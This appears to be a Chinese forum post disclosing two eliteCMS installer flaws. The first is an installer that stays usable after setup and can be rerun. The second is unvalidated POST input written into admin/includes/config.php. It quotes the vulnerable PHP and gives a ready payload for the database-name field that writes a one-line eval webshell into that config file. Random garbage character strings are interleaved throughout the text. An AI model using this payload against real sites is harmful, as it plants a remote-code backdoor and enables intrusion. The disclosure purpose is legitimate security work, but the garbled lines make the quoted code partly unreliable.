eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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& P: Q; G: k, ]- e  i: {, V另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
( s/ i9 b9 w5 U5 W我们来看代码：

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" C  h% W$ @0 R/ S) a% s' C* helseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
7 @7 s% E4 x$ D$ D2 f, ?/ J    $write = "<?php\n";
8 _8 J! @$ H3 P  {% ?) J5 I" ]/ n/ g    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
4 h) Z% H1 t* o5 W+ F    $write .= "*\n";
    $write .= "*/\n";
9 S" d: M. h4 @6 j* Y5 r    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
% F- ]9 D( x) ]% S& |    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
% q5 }# }0 n3 C; Y    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
* b6 _+ m& n# l/ T; V2 u' u    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
. l+ S: J' D! G3 x$ N4 u    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
- _3 X) s* g( j( q    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
4 x8 x/ y" `' Y( E; Z3 \" J4 Q1 Q    $write .= "} \n";
: X% M+ z9 i7 v    $write .= "?>\n";
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    $writer = fopen($file, 'w');
* h: c7 S. S2 X: r' B; c...
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: \" D  C- f- G6 o1 D) v在看代码：
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2 g  j3 C' [$ ?( E$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 z+ X3 T$ D, S  H, R$ L# Y: X0 d$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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取值未作任何验证
如果将数据库名POST数据：
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2 e+ M8 X. z1 C5 K& d"?><?php eval($_POST[c]);?><?php
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将导致一句话后门写入/admin/includes/config.php
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